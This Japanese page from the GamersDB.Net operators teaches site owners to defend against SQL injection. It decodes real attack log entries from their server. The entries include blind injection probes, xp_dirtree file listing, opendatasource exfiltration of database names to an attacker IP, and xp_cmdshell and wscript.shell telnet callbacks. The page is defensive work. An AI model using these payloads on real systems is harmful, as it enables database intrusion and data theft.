SQLインジェクションからサイトを守ろう!!
GamersDB.Net運営局
このページは、次のリンクにあるMSDNの「アプリケーション セキュリティ ガイダンス」を参考に、実際の攻撃例を基にして作成したものです。セキュリティ強化・ログ強化を施していても、このような手口でアクセスがあるのが実状です。
Webページに対しての攻撃手段は、大まかに分けて上記3つです。
その他の攻撃手段は、ファイアーウォール機器の性能向上、操作性向上によりほとんど防止できていると思います。
3点とも「80番ポートを使用して攻撃できること」からルーターでは防ぎきれません。
実際にログに存在していた攻撃例です。
サーバのダウンおよび、脆弱性を利用するための攻撃に利用
(IISのログプロパティ有効、「C:\WINDOWS\system32\LogFiles」のWebサーバログより)
2008-08-02 13:22:15 W3SVC9999999999 ***.***.***.*** GET /ff11/mesAdd.aspx c=a&iid=12478%20and%20char(124)%2Buser%2Bchar(124)=0
80 - 218.68.+++.+++ HTTP/1.1 Internet+Explorer+6.0 302 ・・・@
2008-08-02 13:22:21 W3SVC9999999999 ***.***.***.*** GET /ff11/mesAdd.aspx c=a&iid=12478'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'='
80 - 218.68.+++.+++
HTTP/1.1 Internet+Explorer+6.0 302 ・・・A
2008-08-02 13:22:26 W3SVC9999999999 ***.***.***.*** GET /ff11/mesAdd.aspx c=a&iid=12478%20%61%6E%64%20%31%3D%31
80 - 218.68.+++.+++ HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)
302 ・・・B
2008-08-02 13:22:32 W3SVC9999999999 ***.***.***.*** GET /ff11/mesAdd.aspx c=a&iid=12478%20%61%6E%64%20%31%3D%32
80 - 218.68.+++.+++ HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)
302 ・・・
2008-08-02 13:22:38 W3SVC9999999999 ***.***.***.*** GET /ff11/mesAdd.aspx c=a&iid=12478'%20and%201=1%20and%20''='
80 - 218.68.+++.+++ HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)
302 ・・・C
(他のサイトなどに、このコードを使用しないでください。)
※GamersDBのサーバシステム内では、クエリストリングを判断して不正アクセス情報収集ページへリダイレクトしています。
これらのログのHTMLリクエスト部分をデコードしてみると、
@ and char(124)+user+char(124)=0
A' and char(124)+user+char(124)=0 and '%'='
B and 1=1
C' and 1=1 and ''='
と、怪しい追加クエリの情報が見えます。
@、AのSQLをこのままプログラムに通してしまうと
select ZZ from XXX where YY = 12478 and char(124)+user+char(124)=0
または、
select ZZ from XXX where YY like '12478' and char(124)+user+char(124)=0
and '%'='%'
を実行し、テーブルXXX内のデータを返却します。エラーが出ればエラーメッセージを基にアクセス手段を変更します。
※このYYのデータ型が、文字列なのか数字なのか不明なため2通りのインジェクションを実行。
char(124)+user+char(124)=0 は、|DBユーザー|=0となります。
B、CのSQLをこのままプログラムに通してしまうと
select ZZ from XXX where YY=12478 and 1=1
または、
select ZZ from XXX where YY ='12478' and 1=1 and ''=''
を実行し、データを返却します。
char(124)+user+char(124)=0 and '%'='%' も全て該当です。
1=1は、全て該当・また1=1 and ''='' も全て該当です。
|ユーザー名|SQLの使用は、後に行うユーザー名調査SQLが実行できるかのチェックです。
→ サーバの負荷を増加させる、インジェクション対策がしてあるかチェックなどに利用されるようです。
(IISのログプロパティ有効、「C:\WINDOWS\system32\LogFiles」のWebサーバログより)
GET /ff11/login/login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/article/admin - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/admin/default/admin.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/Maintenance/admin.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/manage/login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/ManageMent/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/adm_login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/admin8899.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/database/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/chkadmin/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/ewebeditor/admin_style.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/office/login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/admin_ok.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/manage/login.aspx - 80 - 125.77.***.*** Mozilla/4.0 302 0 0
GET /ff11/index_manage/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/adminflag.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/admin.jsp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/admindelete.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/login.asp_bak - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/ad_login/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/manage/usermanage.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/admin/admin.html - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/manaAdm/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/bbs/login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/idadmin.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/manager/user.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/eng_login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/wenzhang - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/admin/admin.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/webmaster/ - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/admin/default/login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/Maintenance/login.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/user.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 2
GET /ff11/admin/add_admin.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
GET /ff11/admin/admin888.asp - 80 - 125.77.***.*** Mozilla/4.0 404 0 3
(他のサイトなどに、このコードを使用しないでください。)
※GamersDBのサーバシステム内では、クエリストリングを判断して不正アクセス情報収集ページへリダイレクトしています。
攻撃者が標的となる可能性のあるページをツールで検索したと思われるアクセスログの状況です。
実際のログは、この10倍以上あります。大体1秒程度の間に10〜20のページを検索してきます。
一般に使用されている管理ページの名称は控えたほうがよさそうです。
※(他のサイトなどに、掲載しているコードを使用しないでください。)
※GamersDBのサーバシステム内では、クエリストリングを判断して不正アクセス情報収集ページへリダイレクトしています。
GET /ff11/mesadd.aspx c=b&iid=71%20%20and%20exists%20(select%20*%20from%20sysobjects)
デコード結果
71 and exists (select * from sysobjects)
- SQLに反映
select ZZ from XXX where YY=71 and exists (select * from sysobjects)
- exists演算子 サブクエリの中で1つ以上の行がある場合にTrueを返却
○今回のSQLを実行した場合、未対策のWebページの場合、sysobjectsが存在することがわかります。
GET /ff11/mesadd.aspx c=b&iid=71;declare%20@d%20int;--
デコード結果
71;declare @d int;--
- SQLに反映
select ZZ from XXX where YY=71;declare @d int;--
- ;SQLの区切りを表す。
declare 変数宣言@d int @d を int型で宣言。
-- それ以降の内容をコメントとして無視。
○エラーが出なかった場合、今回のSQL実行で、変数dを宣言できた可能性があります。
%20and%20(select%20unicode(substring(isNull(cast(user%20as%20varchar(8000)),char(32)),3,1)))%20%20between%20111%20and%20111
デコード結果
and (select unicode(substring(isNull(cast(user as varchar(8000)),char(32)),3,1)))
between 111 and 111
- SQLに反映
select ZZ from XXX where YY=71 and (select unicode(substring(isNull(cast(user as
varchar(8000)),char(32)),3,1))) between 111 and 111
- unicode表記でユーザー名の3文字目から1個取得したものが「111」であるかチェック。
unicodeで「111」は「o」・・・「dbo」のoを調べています。
○このSQLの”substring”の引数と、”between”の数字を変えることで、データベースを管理しているユーザー名を調べることができます。
;DROP TABLE D99_Tmp;CREATE TABLE D99_Tmp(subdirectory VARCHAR(100),depth VARCHAR(100),[file]
VARCHAR(100)) Insert D99_Tmp exec master..xp_dirtree "C:\", 1,1--
- SQLServerに標準でインストールされているプロシージャのコールSQLです。
- D99_Tmpというテーブルを作成し、その中へサーバのCドライブのファイル構成を保存しています。
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,20,1))
From (Select Top 4 [subdirectory],[file] From D99_Tmp ORDER BY [file],[subdirectory])
D ORDER BY [file] desc , [subdirectory] desc) between 55 and 58
・
・
・
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,20,1))
From (Select Top 20 [subdirectory],[file] From D99_Tmp ORDER BY [file],[subdirectory])
D ORDER BY [file] desc , [subdirectory] desc) between 55 and 58
- このSQLもユーザー名調査と同じように、先ほど保存したテーブル内から任意のファイルを探しています。
- このようなログが、200〜300近く存在します。D99_Tmpテーブル内をくまなく調査しているようです。
;insert into opendatasource('sqloledb','server=125.77.***.***;uid=--;pwd=++++;database=****).--.dbo.---
select name from master.dbo.sysdatabases--
- 強力なSQLです。指定したIP"125.77.***.***"のSQLサーバへこちらに存在するデータベースの名称を保存します。
;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT
comd_list exec master..xp_cmdshell "ipconfig -all"--
- SQLServerに標準でインストールされているプロシージャのコールSQLです。
- comd_listというテーブルを作成し、その中へサーバのIPアドレス構成を保存しています。
;exec%20master.dbo.xp_cmdshell%20'telnet%20125.77.***.***%2080';--
- デコード結果 ;exec master.dbo.xp_cmdshell
'telnet 125.77.***.*** 80';--
- SQLServerに標準でインストールされているプロシージャのコールSQLです。
- コマンドプロンプトと同じ作業が行われます。Telnetの実行。IPはクラッカーのPCです。自PCにアクセスログが残れば、間違いなくこのSQLは実行されています。
;exec%20master.dbo.xp_cmdshell%20'echo%20http%20>>c:\a.txt'
- デコード結果 ;exec master.dbo.xp_cmdshell 'echo http >>c:\a.txt'
- コマンドプロンプトと同じ作業が行われます。
- Cドライブ直下に「a.txt」というファイルを作成して1行目に「http」と挿入。
;declare%20@shell%20int%20EXEC%20sp_oacreate%20'wscript.shell',@shell%20output%20EXEC%20sp_oamethod%20@shell,'run',null,'cmd.exe%20/c%20%20telnet%20125.77.***.***%2080%20'--
- デコード結果 1;declare @shell int EXEC sp_oacreate 'wscript.shell',@shell output EXEC
sp_oamethod @shell,'run',null,'cmd.exe /c telnet 125.77.***.*** 80 '--
- masterデータベース内の拡張ストアドプロシージャにある sp_oacreate sp_oamethod を実行。
- クエリアナライザで実行すると 指定のIPへTelnetを実行します。
- wscript.shell は、シェルスクリプトです。このシェルを宣言することで、任意のプログラムを実行できます。今回も使用できるか確かめるためにTELNET。
※このほかにもさまざまなアクセス手段、情報収集手段、改竄手法があります。
(レジストリの書き換え、ファイルのアップロードダウンロード、IISの再起動、VBSの実行など)
※フォーム送信などでも、SQLインジェクションが実行できます。
※攻撃者は、自分の行った作業がサーバ上で意図した通りに動作しているか確認する手段が必要です。
攻撃者に処理の結果がわかるようなエラー表示は、サーバ攻略の足がかりになります。
サイト管理者の方は、最低限以下を厳守することで現在のツールやクラッカーから防御できそうです。
- クエリストリングの長さ、妥当性のチェック。
- SQLインジェクションにつながる可能性のある文字の変換。
- DBユーザー権限を最小限のものにする。
- 管理ページの名称を一般で使用されていないものにする。
- WebページのSQLによる「Declare,Insert,Create,Drop」の禁止。
?ちょっと豆知識・・・
ログを見ていると、不正アクセス?と思うようなものもあります。
GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0
GET MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0
これらのログは、サイトアクセス者が、MicroSoft Office製品をインストールして「WEBディスカッション機能」を利用している場合に、
知らないうちに行われるリクエストのようです。利用者の意図とは無関係にアクセスログに発生してきます。